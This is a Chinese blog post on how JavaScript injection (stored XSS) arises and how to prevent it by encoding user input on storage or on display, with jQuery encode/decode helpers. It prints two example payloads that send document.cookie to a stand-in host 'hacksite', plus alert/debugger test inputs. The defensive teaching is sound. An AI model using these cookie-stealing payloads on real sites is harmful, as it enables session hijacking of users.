JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
firefox firebug中文入门教程 脚本之家新年特别版
Jan 02 Javascript
JS文本框默认值处理详解
Jul 10 Javascript
document.forms用法示例介绍
Jun 26 Javascript
JavaScript strike方法入门实例(给字符串加上删除线)
Oct 17 Javascript
javascript表格隔行变色加鼠标移入移出及点击效果的方法
Apr 10 Javascript
JavaScript运算符小结
Jun 03 Javascript
Js实现京东无延迟菜单效果实例(demo)
Jun 02 Javascript
WebPack配置vue多页面的技巧
May 15 Javascript
koa源码中promise的解读
Nov 13 Javascript
记录vue项目中遇到的一点小问题
May 14 Javascript
Vue学习笔记之计算属性与侦听器用法
Dec 07 Javascript
JS实现购物车基本功能
Nov 08 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
php setcookie(name, value, expires, path, domain, secure) 参数详解
2013/06/28 PHP
php使用PDO方法详解
2014/12/27 PHP
CodeIgniter实现从网站抓取图片并自动下载到文件夹里的方法
2015/06/17 PHP
PHP实现的通过参数生成MYSQL语句类完整实例
2016/04/11 PHP
jQuery实现360°全景拖动展示
2015/03/18 Javascript
JavaScript实现当网页加载完成后执行指定函数的方法
2015/03/21 Javascript
Jquery和angularjs获取check框选中的值的方法汇总
2016/01/17 Javascript
JQuery 两种方法解决刚创建的元素遍历不到的问题
2016/04/13 Javascript
jQuery获取同级元素的简单代码
2016/07/09 Javascript
微信开发之调起摄像头、本地展示图片、上传下载图片实例
2016/12/08 Javascript
jQuery日程管理插件fullcalendar使用详解
2017/01/07 Javascript
JavaScript中变量提升与函数提升经典实例分析
2018/07/26 Javascript
vue实现跨域的方法分析
2019/05/21 Javascript
Layui数据表格跳转到指定页的实现方法
2019/09/05 Javascript
微信小程序实现音乐播放器
2019/11/20 Javascript
vue-cli+webpack项目打包到服务器后,ttf字体找不到的解决操作
2020/08/28 Javascript
微信小程序获取当前时间及星期几的实例代码
2020/09/20 Javascript
[01:08:00]Fnatic vs Winstrike 2018国际邀请赛小组赛BO2 第一场 8.18
2018/08/19 DOTA
Python 类,property属性(简化属性的操作),@property,property()用法示例
2019/10/12 Python
Pytorch技巧:DataLoader的collate_fn参数使用详解
2020/01/08 Python
Python3 filecmp模块测试比较文件原理解析
2020/03/23 Python
matplotlib制作雷达图报错ValueError的实现
2021/01/05 Python
CSS3实现线性渐变用法示例代码详解
2020/08/07 HTML / CSS
阿迪达斯德国官方网站:adidas德国
2017/07/12 全球购物
花园仓库建筑:Garden Buildings Direct
2018/02/16 全球购物
世界上最大的艺术社区:SAA
2020/12/30 全球购物
在校生汽车维修实习自我鉴定
2013/09/19 职场文书
自我评价范文
2013/12/22 职场文书
学生喝酒检讨书
2014/02/06 职场文书
英语专业求职信
2014/07/08 职场文书
办理信用卡收入证明范例
2014/09/13 职场文书
2015年勤工助学工作总结
2015/04/29 职场文书
MySQL索引是啥?不懂就问
2021/07/21 MySQL
基于PyQt5制作一个群发邮件工具
2022/04/08 Python
vue实力踩坑之push当前页无效
2022/04/10 Vue.js
Spring Data JPA框架的核心概念和Repository接口
2022/04/28 Java/Android